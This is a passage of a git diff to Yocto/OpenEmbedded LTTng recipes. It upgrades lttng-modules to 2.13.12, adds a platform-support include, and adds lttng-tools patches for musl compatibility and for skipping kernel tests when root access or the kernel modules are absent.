diff --git a/meta/recipes-kernel/lttng/lttng-modules/Makefile-Do-not-fail-if-CONFIG_TRACEPOINTS-is-not-en.patch b/meta/recipes-kernel/lttng/lttng-modules/Makefile-Do-not-fail-if-CONFIG_TRACEPOINTS-is-not-en.patch
deleted file mode 100644
index e411242272..0000000000
--- a/meta/recipes-kernel/lttng/lttng-modules/Makefile-Do-not-fail-if-CONFIG_TRACEPOINTS-is-not-en.patch
+++ /dev/null
@@ -1,49 +0,0 @@
-From 1b0e574d680101105a6c1e8931c78824f5a97a42 Mon Sep 17 00:00:00 2001
-From: Otavio Salvador <otavio@ossystems.com.br>
-Date: Mon, 5 Sep 2016 17:08:56 +0000
-Subject: [PATCH] Makefile: Do not fail if CONFIG_TRACEPOINTS is not enabled
-Organization: O.S. Systems Software LTDA.
-
-The lttng-modules are being pulled by the tools-profile image feature,
-however, not every kernel has the CONFIG_TRACEPOINTS feature enabled.
-
-This change makes the build do not fail when CONFIG_TRACEPOINTS is not
-available, allowing it to be kept being pulled by default.
-
-Upstream-Status: Inappropriate [embedded specific]
-
-Signed-off-by: Otavio Salvador <otavio@ossystems.com.br>
----
- Makefile | 9 +++++----
- 1 file changed, 5 insertions(+), 4 deletions(-)
-
-diff --git a/Makefile b/Makefile
-index 8602649..75550cc 100644
---- a/Makefile
-+++ b/Makefile
-@@ -8,10 +8,7 @@ ifneq ($(KERNELRELEASE),)
- # and defines the modules to be built.
-
- ifdef CONFIG_LOCALVERSION # Check if dot-config is included.
-- ifeq ($(CONFIG_TRACEPOINTS),)
-- $(error The option CONFIG_TRACEPOINTS needs to be enabled in your kernel configuration)
-- endif # CONFIG_TRACEPOINTS
-- endif # ifdef CONFIG_LOCALVERSION
-+ ifneq ($(CONFIG_TRACEPOINTS),)
-
- TOP_LTTNG_MODULES_DIR := $(shell dirname $(lastword $(MAKEFILE_LIST)))
-
-@@ -94,6 +91,10 @@ ifneq ($(KERNELRELEASE),)
- obj-$(CONFIG_LTTNG) += lib/
- obj-$(CONFIG_LTTNG) += tests/
-
-+ else
-+ $(warning The option CONFIG_TRACEPOINTS needs to be enabled in your kernel configuration)
-+ endif # CONFIG_TRACEPOINTS
-+ endif # ifdef CONFIG_LOCALVERSION
- else # KERNELRELEASE
-
- # This part of the Makefile is used when the 'make' command is runned in the
---
-2.1.4
-
diff --git a/meta/recipes-kernel/lttng/lttng-modules_2.12.2.bb b/meta/recipes-kernel/lttng/lttng-modules_2.12.2.bb
deleted file mode 100644
index 49b7a116bc..0000000000
--- a/meta/recipes-kernel/lttng/lttng-modules_2.12.2.bb
+++ /dev/null
@@ -1,42 +0,0 @@
-SECTION = "devel"
-SUMMARY = "Linux Trace Toolkit KERNEL MODULE"
-DESCRIPTION = "The lttng-modules 2.0 package contains the kernel tracer modules"
-LICENSE = "LGPLv2.1 & GPLv2 & MIT"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=3f882d431dc0f32f1f44c0707aa41128"
-
-inherit module
-
-COMPATIBLE_HOST = '(x86_64|i.86|powerpc|aarch64|mips|nios2|arm|riscv).*-linux'
-
-SRC_URI = "https://lttng.org/files/${BPN}/${BPN}-${PV}.tar.bz2 \
- file://Makefile-Do-not-fail-if-CONFIG_TRACEPOINTS-is-not-en.patch \
- file://BUILD_RUNTIME_BUG_ON-vs-gcc7.patch \
- "
-
-SRC_URI[sha256sum] = "df50bc3bd58679705714f17721acf619a8b0cedc694f8a97052aa5099626feca"
-
-export INSTALL_MOD_DIR="kernel/lttng-modules"
-
-EXTRA_OEMAKE += "KERNELDIR='${STAGING_KERNEL_DIR}'"
-
-do_install_append() {
- # Delete empty directories to avoid QA failures if no modules were built
- find ${D}/${nonarch_base_libdir} -depth -type d -empty -exec rmdir {} \;
-}
-
-python do_package_prepend() {
- if not os.path.exists(os.path.join(d.getVar('D'), d.getVar('nonarch_base_libdir')[1:], 'modules')):
- bb.warn("%s: no modules were created; this may be due to CONFIG_TRACEPOINTS not being enabled in your kernel." % d.getVar('PN'))
-}
-
-BBCLASSEXTEND = "devupstream:target"
-LIC_FILES_CHKSUM_class-devupstream = "file://LICENSE;md5=3f882d431dc0f32f1f44c0707aa41128"
-DEFAULT_PREFERENCE_class-devupstream = "-1"
-SRC_URI_class-devupstream = "git://git.lttng.org/lttng-modules;branch=stable-2.12 \
- file://Makefile-Do-not-fail-if-CONFIG_TRACEPOINTS-is-not-en.patch \
- file://BUILD_RUNTIME_BUG_ON-vs-gcc7.patch \
- "
-SRCREV_class-devupstream = "11441f8f17f7825f529e2f6c54d3605771709260"
-PV_class-devupstream = "2.12.1+git${SRCPV}"
-S_class-devupstream = "${WORKDIR}/git"
-SRCREV_FORMAT ?= "lttng_git"
diff --git a/meta/recipes-kernel/lttng/lttng-modules_2.13.12.bb b/meta/recipes-kernel/lttng/lttng-modules_2.13.12.bb
new file mode 100644
index 0000000000..95d5e2d615
--- /dev/null
+++ b/meta/recipes-kernel/lttng/lttng-modules_2.13.12.bb
@@ -0,0 +1,45 @@
+SECTION = "devel"
+SUMMARY = "Linux Trace Toolkit KERNEL MODULE"
+DESCRIPTION = "The lttng-modules 2.0 package contains the kernel tracer modules"
+HOMEPAGE = "https://lttng.org/"
+LICENSE = "LGPL-2.1-only & GPL-2.0-only & MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=0464cff101a009c403cd2ed65d01d4c4"
+
+inherit module
+
+include lttng-platforms.inc
+
+SRC_URI = "https://lttng.org/files/${BPN}/${BPN}-${PV}.tar.bz2 \
+ file://0001-Fix-ASoC-snd_doc_dapm-on-linux-6.9-rc1.patch \
+ file://0002-Fix-ASoC-add-component-to-set_bias_level-events-in-l.patch \
+ file://0003-Fix-mm_compaction_migratepages-changed-in-linux-6.9-.patch \
+ file://0004-Fix-dev_base_lock-removed-in-linux-6.9-rc1.patch \
+ "
+
+# Use :append here so that the patch is applied also when using devupstream
+SRC_URI:append = " file://0001-src-Kbuild-change-missing-CONFIG_TRACEPOINTS-to-warn.patch"
+
+SRC_URI[sha256sum] = "d85fcb66c7bd31003ab8735e8c77700e5e4f417b4c22fe1f20112cf435abad79"
+
+export INSTALL_MOD_DIR="kernel/lttng-modules"
+
+EXTRA_OEMAKE += "KERNELDIR='${STAGING_KERNEL_DIR}'"
+
+MODULES_MODULE_SYMVERS_LOCATION = "src"
+
+do_install:append() {
+ # Delete empty directories to avoid QA failures if no modules were built
+ if [ -d ${D}/${nonarch_base_libdir} ]; then
+ find ${D}/${nonarch_base_libdir} -depth -type d -empty -exec rmdir {} \;
+ fi
+}
+
+python do_package:prepend() {
+ if not os.path.exists(os.path.join(d.getVar('D'), d.getVar('nonarch_base_libdir')[1:], 'modules')):
+ bb.warn("%s: no modules were created; this may be due to CONFIG_TRACEPOINTS not being enabled in your kernel." % d.getVar('PN'))
+}
+
+BBCLASSEXTEND = "devupstream:target"
+SRC_URI:class-devupstream = "git://git.lttng.org/lttng-modules;branch=stable-2.13;protocol=https"
+SRCREV:class-devupstream = "7584cfc04914cb0842a986e9808686858b9c8630"
+SRCREV_FORMAT ?= "lttng_git"
diff --git a/meta/recipes-kernel/lttng/lttng-platforms.inc b/meta/recipes-kernel/lttng/lttng-platforms.inc
new file mode 100644
index 0000000000..900e36df82
--- /dev/null
+++ b/meta/recipes-kernel/lttng/lttng-platforms.inc
@@ -0,0 +1,21 @@
+#
+# Whether the platform supports kernel tracing
+#
+LTTNGMODULES = "lttng-modules"
+LTTNGMODULES:arc = ""
+LTTNGMODULES:riscv64 = ""
+
+COMPATIBLE_HOST:riscv64:pn-lttng-modules = "null"
+COMPATIBLE_HOST:arc:pn-lttng-modules = "null"
+
+# Whether the platform supports userspace tracing
+# lttng-ust uses sched_getcpu() which is not there on for some platforms.
+LTTNGUST = "lttng-ust"
+LTTNGUST:arc = ""
+
+COMPATIBLE_HOST:arc:pn-lttng-ust = "null"
+
+# Whether the platform supports lttng-tools
+# lttng-tools requires SYS_ppoll and SYS_pselect6 which are not supported on riscv32.
+# It's also turned off for riscv32 in meta-riscv. See https://github.com/riscv/meta-riscv/blob/master/conf/layer.conf
+COMPATIBLE_HOST:riscv32:pn-lttng-tools = "null"
diff --git a/meta/recipes-kernel/lttng/lttng-tools/0001-Fix-rotation-destroy-flush-fix-session-daemon-abort-.patch b/meta/recipes-kernel/lttng/lttng-tools/0001-Fix-rotation-destroy-flush-fix-session-daemon-abort-.patch
new file mode 100644
index 0000000000..3286dfb5c1
--- /dev/null
+++ b/meta/recipes-kernel/lttng/lttng-tools/0001-Fix-rotation-destroy-flush-fix-session-daemon-abort-.patch
@@ -0,0 +1,56 @@
+From 6b45c5f80d20e7bbf3d98c1fa17d2cf8716af3bb Mon Sep 17 00:00:00 2001
+From: Xiangyu Chen <xiangyu.chen@windriver.com>
+Date: Mon, 25 Mar 2024 18:20:14 +0800
+Subject: [PATCH] Fix: rotation-destroy-flush: fix session daemon abort if no
+ kernel module present
+
+Testing rotation-destroy-flush when no lttng kernel modules present, it would
+be failed with error message:
+
+ Error: Unable to load required module lttng-ring-buffer-client-discard
+ not ok 1 - Start session daemon
+ Failed test 'Start session daemon'
+ not ok 2 - Create session rotation_destroy_flush in -o /tmp/tmp.test_rot ...
+ ...
+
+This because test script that sets the LTTNG_ABORT_ON_ERROR environment
+variable. It's this environment variable that causes the sessiond to handle the
+kernel module loading failure as an abort rather than a warning.
+
+Using "check_skip_kernel_test" to detect whether the kernel module fails to
+load is expected or not. If the failure is expected, the script won't set that
+environment variable any more.
+
+Fixes: 3a174400
+("tests:add check_skip_kernel_test to check root user and lttng kernel modules")
+
+Upstream-Status: Submitted [https://review.lttng.org/c/lttng-tools/+/12155]
+
+Change-Id: I371e9ba717613e2940186f710cf3cccd35baed6c
+Signed-off-by: Xiangyu Chen <xiangyu.chen@windriver.com>
+---
+ .../ust/rotation-destroy-flush/test_rotation_destroy_flush | 6 +++---
+ 1 file changed, 3 insertions(+), 3 deletions(-)
+
+diff --git a/tests/regression/ust/rotation-destroy-flush/test_rotation_destroy_flush b/tests/regression/ust/rotation-destroy-flush/test_rotation_destroy_flush
+index 669bcbc43..64161768f 100755
+--- a/tests/regression/ust/rotation-destroy-flush/test_rotation_destroy_flush
++++ b/tests/regression/ust/rotation-destroy-flush/test_rotation_destroy_flush
+@@ -23,11 +23,11 @@ SIZE_LIMIT=$PAGE_SIZE
+ NR_ITER=10
+ NUM_TESTS=$((15*$NR_ITER))
+
+-# Ensure the daemons invoke abort on error.
+-export LTTNG_ABORT_ON_ERROR=1
+-
+ source $TESTDIR/utils/utils.sh
+
++# Ensure the daemons invoke abort on error.
++check_skip_kernel_test || export LTTNG_ABORT_ON_ERROR=1
++
+ # MUST set TESTDIR before calling those functions
+ function run_app()
+ {
+--
+2.25.1
+
diff --git a/meta/recipes-kernel/lttng/lttng-tools/0001-compat-Define-off64_t-as-off_t-on-linux.patch b/meta/recipes-kernel/lttng/lttng-tools/0001-compat-Define-off64_t-as-off_t-on-linux.patch
new file mode 100644
index 0000000000..4e21d1e9f1
--- /dev/null
+++ b/meta/recipes-kernel/lttng/lttng-tools/0001-compat-Define-off64_t-as-off_t-on-linux.patch
@@ -0,0 +1,74 @@
+From 74b3844737b03492756b4f896c938b504b069f14 Mon Sep 17 00:00:00 2001
+From: Jérémie Galarneau <jeremie.galarneau@efficios.com>
+Date: Tue, 17 Jan 2023 16:57:35 -0500
+Subject: [PATCH] compat: off64_t is not defined by musl
+
+This helps compile with latest musl, where off64_t is not defined unless
+_LARGEFILE64_SOURCE is defined. On glibc, _LARGEFILE64_SOURCE is defined
+if _GNU_SOURCE is defined, so the problem is only seen with musl.
+
+Since the project uses AC_SYS_LARGEFILE, which from the autoconf doc:
+"arrange for 64-bit file offsets, known as large-file support."
+
+As such, it is safe to assume off_t is 64-bit wide. This is checked by a
+static_assert to catch any platform where autoconf would let a 32-bit
+off_t slip.
+
+Upstream-Status: Submitted [https://review.lttng.org/c/lttng-tools/+/9268]
+Reported-by: Khem Raj <raj.khem@gmail.com>
+Signed-off-by: Jérémie Galarneau <jeremie.galarneau@efficios.com>
+Change-Id: If2c6007a8c85bc3f3065002af8a7538b882fb4a8
+---
+
+--- a/src/common/compat/compat-fcntl.c
++++ b/src/common/compat/compat-fcntl.c
+@@ -8,14 +8,17 @@
+ #define _LGPL_SOURCE
+ #include <common/compat/fcntl.h>
+ #include <common/macros.h>
++#include <common/bug.h>
++#include <stdint.h>
+ #include <unistd.h>
+
+ #ifdef __linux__
+
+ LTTNG_HIDDEN
+-int compat_sync_file_range(int fd, off64_t offset, off64_t nbytes,
++int compat_sync_file_range(int fd, off_t offset, off_t nbytes,
+ unsigned int flags)
+ {
++ LTTNG_BUILD_BUG_ON(sizeof(off_t) != sizeof(int64_t));
+ #ifdef HAVE_SYNC_FILE_RANGE
+ return sync_file_range(fd, offset, nbytes, flags);
+ #else
+--- a/src/common/compat/fcntl.h
++++ b/src/common/compat/fcntl.h
+@@ -13,16 +13,12 @@
+
+ #include <common/compat/errno.h>
+
+-#if (defined(__CYGWIN__))
+-typedef long long off64_t;
+-#endif
+-
+ #if (defined(__FreeBSD__) || defined(__sun__))
+ typedef off64_t loff_t;
+ #endif
+
+ #ifdef __linux__
+-extern int compat_sync_file_range(int fd, off64_t offset, off64_t nbytes,
++extern int compat_sync_file_range(int fd, off_t offset, off_t nbytes,
+ unsigned int flags);
+ #define lttng_sync_file_range(fd, offset, nbytes, flags) \
+ compat_sync_file_range(fd, offset, nbytes, flags)
+@@ -37,8 +33,8 @@ extern int compat_sync_file_range(int fd
+ #define SYNC_FILE_RANGE_WAIT_BEFORE 0
+ #define SYNC_FILE_RANGE_WRITE 0
+
+-static inline int lttng_sync_file_range(int fd, off64_t offset,
+- off64_t nbytes, unsigned int flags)
++static inline int lttng_sync_file_range(int fd, off_t offset,
++ off_t nbytes, unsigned int flags)
+ {
+ return -ENOSYS;
+ }
diff --git a/meta/recipes-kernel/lttng/lttng-tools/0001-tests-add-check_skip_kernel_test-to-check-root-user-.patch b/meta/recipes-kernel/lttng/lttng-tools/0001-tests-add-check_skip_kernel_test-to-check-root-user-.patch
new file mode 100644
index 0000000000..2671a1908e
--- /dev/null
+++ b/meta/recipes-kernel/lttng/lttng-tools/0001-tests-add-check_skip_kernel_test-to-check-root-user-.patch
@@ -0,0 +1,1246 @@
+From cf558f802b259a33605fe0ede4d74ae2ff6be699 Mon Sep 17 00:00:00 2001
+From: Xiangyu Chen <xiangyu.chen@windriver.com>
+Date: Mon, 12 Feb 2024 09:23:54 -0500
+Subject: [PATCH] tests: add check_skip_kernel_test to check root user and
+ lttng kernel modules
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+The current tests will run both userspace and kernel testing. Some of
+use cases only use lttng for one kind of tracing on an embedded
+device (e.g. userspace), so in this scenario, the kernel modules might
+not install to target rootfs, the test cases would be fail and exit.
+
+Add LTTNG_TOOLS_DISABLE_KERNEL_TESTS to skip the lttng kernel features
+test, this flag can be set via "make":
+
+ make check LTTNG_TOOLS_DISABLE_KERNEL_TESTS=1
+
+When this flag was set, all kernel related testcases would be marked as
+SKIP in result.
+
+Since the the LTTNG_TOOLS_DISABLE_KERNEL_TESTS was checked in function
+check_skip_kernel_test, lots of testcases also need to check root
+permission, so merging the root permission checking into
+check_skip_kernel_test.
+
+Upstream-Status: Backport from
+[https://git.lttng.org/?p=lttng-tools.git;a=commit;h=3a1744008331a0604479d3d7461f77056fad3a64]
+
+Change-Id: I49a1f642a9869c21a69e0186c296fd917bd7b525
+Signed-off-by: Xiangyu Chen <xiangyu.chen@windriver.com>
+Signed-off-by: Michael Jeanson <mjeanson@efficios.com>
+Signed-off-by: Jérémie Galarneau <jeremie.galarneau@efficios.com>
+---
+ tests/destructive/metadata-regeneration | 8 +----
+ tests/perf/test_perf_raw.in | 8 +----
+ tests/regression/kernel/test_all_events | 8 +----
+ tests/regression/kernel/test_callstack | 8 +----
+ tests/regression/kernel/test_channel | 8 +----
+ tests/regression/kernel/test_clock_override | 8 +----
+ tests/regression/kernel/test_event_basic | 8 +----
+ tests/regression/kernel/test_kernel_function | 8 +----
+ tests/regression/kernel/test_lttng_logger | 8 +----
+ tests/regression/kernel/test_ns_contexts | 8 +----
+ .../regression/kernel/test_ns_contexts_change | 9 +----
+ .../kernel/test_rotation_destroy_flush | 8 +----
+ .../regression/kernel/test_select_poll_epoll | 8 +----
+ tests/regression/kernel/test_syscall | 8 +----
+ tests/regression/kernel/test_userspace_probe | 8 +----
+ tests/regression/tools/clear/test_kernel | 8 +----
+ .../tools/filtering/test_invalid_filter | 8 +----
+ .../tools/filtering/test_unsupported_op | 8 +----
+ .../tools/filtering/test_valid_filter | 8 +----
+ tests/regression/tools/health/test_health.sh | 10 ++----
+ tests/regression/tools/health/test_thread_ok | 9 +----
+ tests/regression/tools/live/test_kernel | 10 +++---
+ tests/regression/tools/live/test_lttng_kernel | 8 +----
+ tests/regression/tools/metadata/test_kernel | 8 +----
+ .../test_notification_kernel_buffer_usage | 36 +++++++++----------
+ .../test_notification_kernel_capture | 23 ++++++------
+ .../test_notification_kernel_error | 23 ++++++------
+ .../test_notification_kernel_instrumentation | 23 ++++++------
+ .../test_notification_kernel_syscall | 19 +++++-----
+ .../test_notification_kernel_userspace_probe | 20 +++++------
+ .../notification/test_notification_multi_app | 14 +++-----
+ ...test_notification_notifier_discarded_count | 9 +++--
+ .../tools/regen-metadata/test_kernel | 8 +----
+ .../tools/regen-statedump/test_kernel | 8 +----
+ tests/regression/tools/rotation/test_kernel | 8 +----
+ tests/regression/tools/snapshots/test_kernel | 8 +----
+ .../tools/snapshots/test_kernel_streaming | 8 +----
+ .../streaming/test_high_throughput_limits | 8 +----
+ tests/regression/tools/streaming/test_kernel | 8 +----
+ .../tools/tracker/test_event_tracker | 8 +----
+ .../tools/trigger/test_add_trigger_cli | 12 ++-----
+ .../tools/trigger/test_list_triggers_cli | 26 +++++---------
+ .../tools/wildcard/test_event_wildcard | 8 +----
+ .../test_relayd_working_directory | 4 +--
+ .../ust/namespaces/test_ns_contexts_change | 7 +---
+ tests/regression/ust/test_event_perf | 8 +----
+ tests/utils/utils.sh | 35 ++++++++++++++++++
+ 47 files changed, 166 insertions(+), 363 deletions(-)
+
+diff --git a/tests/destructive/metadata-regeneration b/tests/destructive/metadata-regeneration
+index b81e7af32..36b130d17 100755
+--- a/tests/destructive/metadata-regeneration
++++ b/tests/destructive/metadata-regeneration
+@@ -185,19 +185,13 @@ function test_ust_streaming ()
+ rm -f ${file_sync_before_last}
+ }
+
+-if [ "$(id -u)" == "0" ]; then
+- isroot=1
+-else
+- isroot=0
+-fi
+-
+ if ! destructive_tests_enabled ; then
+ echo 'You need to set the LTTNG_ENABLE_DESTRUCTIVE_TESTS to "will-break-my-system" as argument to run this test'
+ echo 'Moreover, please make sure that ntp is not running while executing this test'
+ exit 0
+ fi
+
+-skip $isroot "Root access is needed. Skipping all tests." $NUM_TESTS ||
++check_skip_kernel_test $NUM_TESTS "Skipping all tests." ||
+ {
+ start_lttng_relayd "-o $TRACE_PATH"
+ start_lttng_sessiond
+diff --git a/tests/perf/test_perf_raw.in b/tests/perf/test_perf_raw.in
+index f293ccd71..d35529a87 100644
+--- a/tests/perf/test_perf_raw.in
++++ b/tests/perf/test_perf_raw.in
+@@ -137,12 +137,6 @@ function test_kernel_raw()
+ rm -rf $TRACE_PATH
+ }
+
+-if [ "$(id -u)" == "0" ]; then
+- isroot=1
+-else
+- isroot=0
+-fi
+-
+ # MUST set TESTDIR before calling those functions
+ plan_tests $NUM_TESTS
+
+@@ -154,7 +148,7 @@ have_libpfm
+
+ test_ust_raw
+
+-skip $isroot "Root access is needed for kernel testing, skipping." 9 ||
++check_skip_kernel_test 9 ||
+ {
+ modprobe lttng-test
+ test_kernel_raw
+diff --git a/tests/regression/kernel/test_all_events b/tests/regression/kernel/test_all_events
+index 2e20888df..044f9b65f 100755
+--- a/tests/regression/kernel/test_all_events
++++ b/tests/regression/kernel/test_all_events
+@@ -43,13 +43,7 @@ plan_tests $NUM_TESTS
+
+ print_test_banner "$TEST_DESC"
+
+-if [ "$(id -u)" == "0" ]; then
+- isroot=1
+-else
+- isroot=0
+-fi
+-
+-skip $isroot "Root access is needed. Skipping all tests." $NUM_TESTS ||
++check_skip_kernel_test "$NUM_TESTS" "Skipping all tests." ||
+ {
+ validate_lttng_modules_present
+ start_lttng_sessiond
+diff --git a/tests/regression/kernel/test_callstack b/tests/regression/kernel/test_callstack
+index a4477fd7c..d8d6b5e0f 100755
+--- a/tests/regression/kernel/test_callstack
++++ b/tests/regression/kernel/test_callstack
+@@ -134,13 +134,7 @@ plan_tests $NUM_TESTS
+
+ print_test_banner "$TEST_DESC"
+
+-if [ "$(id -u)" == "0" ]; then
+- isroot=1
+-else
+- isroot=0
+-fi
+-
+-skip $isroot "Root access is needed. Skipping all tests." "$NUM_TESTS" ||
++check_skip_kernel_test "$NUM_TESTS" "Skipping all tests." ||
+ {
+ validate_lttng_modules_present
+ start_lttng_sessiond
+diff --git a/tests/regression/kernel/test_channel b/tests/regression/kernel/test_channel
+index 9cc74c4e8..4c377bd2a 100755
+--- a/tests/regression/kernel/test_channel
++++ b/tests/regression/kernel/test_channel
+@@ -47,13 +47,7 @@ function test_channel_buffer_too_large()
+ plan_tests $NUM_TESTS
+ print_test_banner "$TEST_DESC"
+
+-if [ "$(id -u)" == "0" ]; then
+- isroot=1
+-else
+- isroot=0
+-fi
+-
+-skip $isroot "Root access is needed. Skipping all tests." $NUM_TESTS ||
++check_skip_kernel_test "$NUM_TESTS" "Skipping all tests." ||
+ {
+ start_lttng_sessiond
+
+diff --git a/tests/regression/kernel/test_clock_override b/tests/regression/kernel/test_clock_override
+index 72892898b..48a3f926a 100755
+--- a/tests/regression/kernel/test_clock_override
++++ b/tests/regression/kernel/test_clock_override
+@@ -172,13 +172,7 @@ TESTS=(
+ TEST_COUNT=${#TESTS[@]}
+ i=0
+
+-if [ "$(id -u)" == "0" ]; then
+- isroot=1
+-else
+- isroot=0
+-fi
+-
+-skip $isroot "Root access is needed. Skipping all tests." $NUM_TESTS ||
++check_skip_kernel_test "$NUM_TESTS" "Skipping all tests." ||
+ {
+ validate_lttng_modules_present
+ trap signal_cleanup SIGTERM SIGINT
+diff --git a/tests/regression/kernel/test_event_basic b/tests/regression/kernel/test_event_basic
+index ac9ec0549..387e2f733 100755
+--- a/tests/regression/kernel/test_event_basic
++++ b/tests/regression/kernel/test_event_basic
+@@ -73,13 +73,7 @@ plan_tests $NUM_TESTS
+
+ print_test_banner "$TEST_DESC"
+
+-if [ "$(id -u)" == "0" ]; then
+- isroot=1
+-else
+- isroot=0
+-fi
+-
+-skip $isroot "Root access is needed. Skipping all tests." $NUM_TESTS ||
++check_skip_kernel_test $NUM_TESTS "Skipping all tests." ||
+ {
+ validate_lttng_modules_present
+ start_lttng_sessiond
+diff --git a/tests/regression/kernel/test_kernel_function b/tests/regression/kernel/test_kernel_function
+index b1d5491fc..ea16cdeef 100755
+--- a/tests/regression/kernel/test_kernel_function
++++ b/tests/regression/kernel/test_kernel_function
+@@ -43,13 +43,7 @@ plan_tests $NUM_TESTS
+
+ print_test_banner "$TEST_DESC"
+
+-if [ "$(id -u)" == "0" ]; then
+- isroot=1
+-else
+- isroot=0
+-fi
+-
+-skip $isroot "Root access is needed. Skipping all tests." $NUM_TESTS ||
++check_skip_kernel_test "$NUM_TESTS" "Skipping all tests." ||
+ {
+ start_lttng_sessiond_notap
+ validate_lttng_modules_present
+diff --git a/tests/regression/kernel/test_lttng_logger b/tests/regression/kernel/test_lttng_logger
+index b8f7ded82..00eaae823 100755
+--- a/tests/regression/kernel/test_lttng_logger
++++ b/tests/regression/kernel/test_lttng_logger
+@@ -110,13 +110,7 @@ plan_tests $NUM_TESTS
+
+ print_test_banner "$TEST_DESC"
+
+-if [ "$(id -u)" == "0" ]; then
+- isroot=1
+-else
+- isroot=0
+-fi
+-
+-skip $isroot "Root access is needed. Skipping all tests." $NUM_TESTS ||
++check_skip_kernel_test "$NUM_TESTS" "Skipping all tests." ||
+ {
+ validate_lttng_modules_present
+ start_lttng_sessiond
+diff --git a/tests/regression/kernel/test_ns_contexts b/tests/regression/kernel/test_ns_contexts
+index 0c8718d78..59e2568f6 100755
+--- a/tests/regression/kernel/test_ns_contexts
++++ b/tests/regression/kernel/test_ns_contexts
+@@ -108,13 +108,7 @@ plan_tests $NUM_TESTS
+ print_test_banner "$TEST_DESC"
+
+
+-isroot=0
+-if [ "$(id -u)" == "0" ]; then
+- isroot=1
+-fi
+-
+-skip $isroot "Root access is needed. Skipping all tests." "$NUM_TESTS" && exit 0
+-
++check_skip_kernel_test "$NUM_TESTS" "Skipping all tests." && exit 0
+
+ system_has_ns=0
+ if [ -d "/proc/$$/ns" ]; then
+diff --git a/tests/regression/kernel/test_ns_contexts_change b/tests/regression/kernel/test_ns_contexts_change
+index 42a61276b..3f5e4eeab 100755
+--- a/tests/regression/kernel/test_ns_contexts_change
++++ b/tests/regression/kernel/test_ns_contexts_change
+@@ -162,14 +162,7 @@ plan_tests $NUM_TESTS
+
+ print_test_banner "$TEST_DESC"
+
+-
+-isroot=0
+-if [ "$(id -u)" == "0" ]; then
+- isroot=1
+-fi
+-
+-skip $isroot "Root access is needed. Skipping all tests." "$NUM_TESTS" && exit 0
+-
++check_skip_kernel_test "$NUM_TESTS" "Skipping all tests." && exit 0
+
+ system_has_ns=0
+ if [ -d "/proc/$$/ns" ]; then
+diff --git a/tests/regression/kernel/test_rotation_destroy_flush b/tests/regression/kernel/test_rotation_destroy_flush
+index cb773d7df..0af514b49 100755
+--- a/tests/regression/kernel/test_rotation_destroy_flush
++++ b/tests/regression/kernel/test_rotation_destroy_flush
+@@ -120,13 +120,7 @@ TESTS=(
+ TEST_COUNT=${#TESTS[@]}
+ i=0
+
+-if [ "$(id -u)" == "0" ]; then
+- isroot=1
+-else
+- isroot=0
+-fi
+-
+-skip $isroot "Root access is needed. Skipping all tests." $NUM_TESTS ||
++check_skip_kernel_test "$NUM_TESTS" "Skipping all tests." ||
+ {
+ validate_lttng_modules_present
+ trap signal_cleanup SIGTERM SIGINT
+diff --git a/tests/regression/kernel/test_select_poll_epoll b/tests/regression/kernel/test_select_poll_epoll
+index d8245a0e7..20f0ef0ae 100755
+--- a/tests/regression/kernel/test_select_poll_epoll
++++ b/tests/regression/kernel/test_select_poll_epoll
+@@ -374,13 +374,7 @@ if test $? != 0; then
+ exit 0
+ fi
+
+-if [ "$(id -u)" == "0" ]; then
+- isroot=1
+-else
+- isroot=0
+-fi
+-
+-skip $isroot "Root access is needed. Skipping all tests." $NUM_TESTS ||
++check_skip_kernel_test "$NUM_TESTS" "Skipping all tests." ||
+ {
+ validate_lttng_modules_present
+
+diff --git a/tests/regression/kernel/test_syscall b/tests/regression/kernel/test_syscall
+index 401a18a8d..219d94703 100755
+--- a/tests/regression/kernel/test_syscall
++++ b/tests/regression/kernel/test_syscall
+@@ -664,13 +664,7 @@ plan_tests $NUM_TESTS
+
+ print_test_banner "$TEST_DESC"
+
+-if [ "$(id -u)" == "0" ]; then
+- isroot=1
+-else
+- isroot=0
+-fi
+-
+-skip $isroot "Root access is needed. Skipping all tests." $NUM_TESTS ||
++check_skip_kernel_test "$NUM_TESTS" "Skipping all tests." ||
+ {
+ validate_lttng_modules_present
+ start_lttng_sessiond
+diff --git a/tests/regression/kernel/test_userspace_probe b/tests/regression/kernel/test_userspace_probe
+index 1091ee65e..5d984d666 100755
+--- a/tests/regression/kernel/test_userspace_probe
++++ b/tests/regression/kernel/test_userspace_probe
+@@ -815,13 +815,7 @@ fi
+ plan_tests $NUM_TESTS
+ print_test_banner "$TEST_DESC"
+
+-if [ "$(id -u)" == "0" ]; then
+- isroot=1
+-else
+- isroot=0
+-fi
+-
+-skip $isroot "Root access is needed. Skipping all tests." $NUM_TESTS ||
++check_skip_kernel_test "$NUM_TESTS" "Skipping all tests." ||
+ {
+ validate_lttng_modules_present
+ start_lttng_sessiond
+diff --git a/tests/regression/tools/clear/test_kernel b/tests/regression/tools/clear/test_kernel
+index 06fb1c368..48250a742 100755
+--- a/tests/regression/tools/clear/test_kernel
++++ b/tests/regression/tools/clear/test_kernel
+@@ -536,12 +536,6 @@ plan_tests $NUM_TESTS
+
+ print_test_banner "$TEST_DESC"
+
+-if [ "$(id -u)" == "0" ]; then
+- isroot=1
+-else
+- isroot=0
+-fi
+-
+ streaming_tests=(test_kernel_streaming
+ test_kernel_streaming_rotate_clear
+ test_kernel_streaming_clear_rotate
+@@ -563,7 +557,7 @@ snapshot_tests=(test_kernel_streaming_snapshot
+ test_kernel_local_snapshot
+ )
+
+-skip $isroot "Root access is needed. Skipping all kernel streaming tests." $NUM_TESTS ||
++check_skip_kernel_test "$NUM_TESTS" "Skipping kernel streaming tests." ||
+ {
+ trap signal_cleanup SIGTERM SIGINT
+
+diff --git a/tests/regression/tools/filtering/test_invalid_filter b/tests/regression/tools/filtering/test_invalid_filter
+index 7d9e524d9..8435e5546 100755
+--- a/tests/regression/tools/filtering/test_invalid_filter
++++ b/tests/regression/tools/filtering/test_invalid_filter
+@@ -168,13 +168,7 @@ done
+
+ test_bytecode_limit -u
+
+-if [ "$(id -u)" == "0" ]; then
+- isroot=1
+-else
+- isroot=0
+-fi
+-
+-skip $isroot "Root access is needed. Skipping all kernel invalid filter tests." $NUM_KERNEL_TESTS ||
++check_skip_kernel_test "$NUM_KERNEL_TESTS" "Skipping kernel invalid filter tests." ||
+ {
+ diag "Test kernel filters"
+ i=0
+diff --git a/tests/regression/tools/filtering/test_unsupported_op b/tests/regression/tools/filtering/test_unsupported_op
